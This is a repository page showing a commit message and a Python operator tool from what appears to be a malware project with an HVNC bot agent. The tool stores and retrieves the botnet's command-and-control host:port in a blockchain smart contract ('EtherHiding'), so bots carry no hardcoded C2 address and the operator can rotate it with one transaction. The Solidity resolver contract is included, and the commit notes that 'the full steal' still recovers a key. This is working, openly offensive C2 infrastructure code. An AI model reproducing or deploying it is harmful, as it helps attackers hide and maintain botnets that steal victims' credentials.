Files
JYenn-Misery/tools/etherhiding.py
T
JYenn 13e6ad7063 EtherHiding C2: resolve the TCP endpoint from a smart contract
The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
2026-08-20 22:39:40 +01:00

99 lines
3.4 KiB
Python

#!/usr/bin/env python3
"""EtherHiding C2 resolver operator tool.
Deploy once (Remix or the chain explorer): paste the contract below, deploy,
note the address. `read` queries the chain with no wallet; `update` writes a
new endpoint with web3.py, or prints the explorer instructions without it.
Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2Resolver {
bytes32 public c2;
address public owner;
constructor() { owner = msg.sender; }
function set(bytes32 value) external { require(msg.sender == owner, "owner"); c2 = value; }
function get() external view returns (bytes32) { return c2; }
}
Usage:
python tools/etherhiding.py read --contract 0x... [--rpc URL]
python tools/etherhiding.py update --contract 0x... --value HOST:PORT [--rpc URL] [--key PRIVKEY]
"""
import argparse
import json
import urllib.request
DEFAULT_RPC = "https://cloudflare-eth.com"
SELECTOR_GET = "0x6d4ce63c" # keccak("get()")
SELECTOR_SET = "0xdb80813f" # keccak("set(bytes32)")
def encode_value(text: str) -> str:
raw = text.encode("utf-8")
if len(raw) > 31:
raise SystemExit("value too long for bytes32 (31 chars max)")
return raw.ljust(32, b"\x00").hex()
def eth_call(rpc: str, contract: str) -> str:
body = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "eth_call",
"params": [{"to": contract, "data": SELECTOR_GET}, "latest"],
}).encode()
req = urllib.request.Request(rpc, data=body,
headers={"Content-Type": "application/json"})
reply = json.loads(urllib.request.urlopen(req, timeout=15).read())
if "result" not in reply:
raise SystemExit("RPC error: %s" % reply.get("error", reply))
raw = bytes.fromhex(reply["result"][2:]).rstrip(b"\x00")
return raw.decode("utf-8", errors="replace")
def cmd_read(args):
value = eth_call(args.rpc, args.contract)
print("contract %s" % args.contract)
print("value %s" % value)
def cmd_update(args):
if not args.key:
raise SystemExit(
"--key PRIVKEY required. Without web3: open the contract on the "
"chain explorer and call set(bytes32) with value 0x%s" % encode_value(args.value))
from web3 import Web3
w3 = Web3(Web3.HTTPProvider(args.rpc))
acct = w3.eth.account.from_key(args.key)
tx = {
"from": acct.address,
"to": w3.to_checksum_address(args.contract),
"data": SELECTOR_SET + encode_value(args.value),
"gas": 100000,
"nonce": w3.eth.get_transaction_count(acct.address),
"chainId": w3.eth.chain_id,
}
signed = w3.eth.account.sign_transaction(tx, args.key)
print("tx %s" % w3.eth.send_raw_transaction(signed.raw_transaction).hex())
def main():
ap = argparse.ArgumentParser(description="EtherHiding C2 resolver tool")
sub = ap.add_subparsers(dest="cmd", required=True)
for name, fn in (("read", cmd_read), ("update", cmd_update)):
p = sub.add_parser(name)
p.set_defaults(fn=fn)
p.add_argument("--contract", help="resolver contract address")
p.add_argument("--rpc", default=DEFAULT_RPC, help="JSON-RPC endpoint")
p.add_argument("--value", help="HOST:PORT to store")
p.add_argument("--key", help="contract owner private key")
args = ap.parse_args()
if not args.contract:
raise SystemExit("--contract required")
args.fn(args)
if __name__ == "__main__":
main()